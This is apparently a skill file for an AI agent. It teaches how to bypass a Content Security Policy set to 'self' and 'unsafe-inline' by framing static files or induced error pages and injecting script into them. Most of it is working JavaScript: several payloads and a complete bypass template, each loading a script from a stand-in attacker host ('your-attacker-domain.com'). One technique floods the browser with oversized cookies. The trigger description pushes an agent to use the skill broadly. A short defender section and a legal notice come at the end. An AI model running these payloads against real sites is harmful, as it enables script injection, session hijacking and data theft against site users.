csp-bypass-self-unsafe-inline

name

csp-bypass-self-unsafe-inline

description

How to bypass Content Security Policy (CSP) when configured with 'self' and 'unsafe-inline'. Use this skill whenever you're doing web security testing, penetration testing, or analyzing CSP configurations that include 'unsafe-inline'. Trigger this skill for any CSP bypass scenario, iframe exploitation, or when you need to execute JavaScript in restricted environments. Also use when analyzing Content-Security-Policy headers, testing web application security, or when you encounter CSP headers like "default-src 'self' 'unsafe-inline'".

CSP Bypass: Self + Unsafe Inline with Iframes

This skill helps you bypass Content Security Policy (CSP) configurations that use 'self' with 'unsafe-inline'. This is a common misconfiguration that can be exploited through iframe-based attacks.

Understanding the Vulnerability

A CSP configuration like:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

What it allows:

• Content from the same origin ('self')
• Inline scripts and styles ('unsafe-inline')

What it blocks:

• External scripts, styles, images, CSS, WebSockets
• Functions that execute code from strings: eval(), setTimeout(), setInterval() (due to missing 'unsafe-eval')

Attack Vector 1: Via Text & Images

Modern browsers convert images and text files into HTML when displayed in iframes. These pages often lack CSP headers and X-Frame-Options, enabling arbitrary JavaScript execution.

Technique

1. Load a static resource (CSS, image, text file) in an iframe
2. The browser renders it as HTML without CSP
3. Inject your malicious script into the iframe's document

Example Payload

// Create iframe pointing to a static resource
var frame = document.createElement("iframe");
frame.src = "/css/bootstrap.min.css"; // or /favicon.ico, /robots.txt
document.body.appendChild(frame);

// Inject script into the iframe
var script = document.createElement("script");
script.src = "//your-attacker-domain.com/csp-bypass.js";
window.frames[0].document.head.appendChild(script);

Target Resources to Try

• /favicon.ico
• /robots.txt
• /css/*.css
• /images/*.png or /images/*.jpg
• /js/*.js (if accessible)
• Any static file that returns 200 OK

Attack Vector 2: Via Error Pages

Error responses typically lack CSP headers and X-Frame-Options. You can induce errors to load in iframes and execute JavaScript.

Technique A: Path Traversal Error

// Induce nginx/apache error with path traversal
var frame = document.createElement("iframe");
frame.src = "/%2e%2e%2f"; // ../
document.body.appendChild(frame);

// Inject script after iframe loads
setTimeout(function() {
    var script = document.createElement("script");
    script.src = "//your-attacker-domain.com/csp-bypass.js";
    window.frames[0].document.head.appendChild(script);
}, 500);

Technique B: Long URL Error

// Trigger error with excessively long URL
var frame = document.createElement("iframe");
frame.src = "/" + "A".repeat(20000);
document.body.appendChild(frame);

// Inject script
setTimeout(function() {
    var script = document.createElement("script");
    script.src = "//your-attacker-domain.com/csp-bypass.js";
    window.frames[0].document.head.appendChild(script);
}, 500);

Technique C: Cookie Overflow Error

// Generate error via extensive cookies
for (var i = 0; i < 5; i++) {
    document.cookie = i + "=" + "a".repeat(4000);
}

var frame = document.createElement("iframe");
frame.src = "/";
document.body.appendChild(frame);

// Inject script
setTimeout(function() {
    var script = document.createElement("script");
    script.src = "//your-attacker-domain.com/csp-bypass.js";
    window.frames[0].document.head.appendChild(script);
}, 500);

// Clean up cookies after execution
for (var i = 0; i < 5; i++) {
    document.cookie = i + "=";
}

Complete Bypass Script Template

// CSP Bypass: Self + Unsafe Inline
(function() {
    // Configuration
    var targetResource = "/favicon.ico"; // Change based on available resources
    var payloadUrl = "//your-attacker-domain.com/csp-bypass.js";
    
    // Create iframe
    var frame = document.createElement("iframe");
    frame.style.display = "none";
    frame.src = targetResource;
    document.body.appendChild(frame);
    
    // Wait for iframe to load, then inject
    frame.onload = function() {
        try {
            var script = document.createElement("script");
            script.src = payloadUrl;
            window.frames[0].document.head.appendChild(script);
            console.log("[+] CSP bypass payload injected");
        } catch(e) {
            console.log("[-] CSP bypass failed:", e);
        }
    };
})();

Testing Checklist

When testing for this vulnerability:

1. Check CSP Header: Confirm default-src 'self' 'unsafe-inline' or similar
2. Identify Static Resources: Find accessible CSS, images, or text files
3. Test Error Pages: Verify error responses lack CSP headers
4. Verify X-Frame-Options: Ensure target pages don't have X-Frame-Options: DENY or SAMEORIGIN
5. Test Iframe Injection: Confirm you can create and manipulate iframes
6. Validate Script Execution: Use a callback to your server to confirm payload execution

Detection & Mitigation

For Defenders

• Remove 'unsafe-inline' from CSP
• Use nonces or hashes for inline scripts
• Add X-Frame-Options: DENY or SAMEORIGIN
• Include frame-ancestors 'self' in CSP
• Ensure error pages include proper CSP headers
• Monitor for iframe creation in browser console

For Testers

• Document all successful bypass vectors
• Include proof-of-concept code
• Note which resources were exploitable
• Report severity based on impact (XSS, session hijacking, etc.)

References

• Wallarm Lab: How to Trick CSP
• OWASP Content Security Policy
• MDN: Content Security Policy

Legal & Ethical Notice

This skill is for authorized security testing only. Always obtain written permission before testing any system. Unauthorized access to computer systems is illegal and unethical.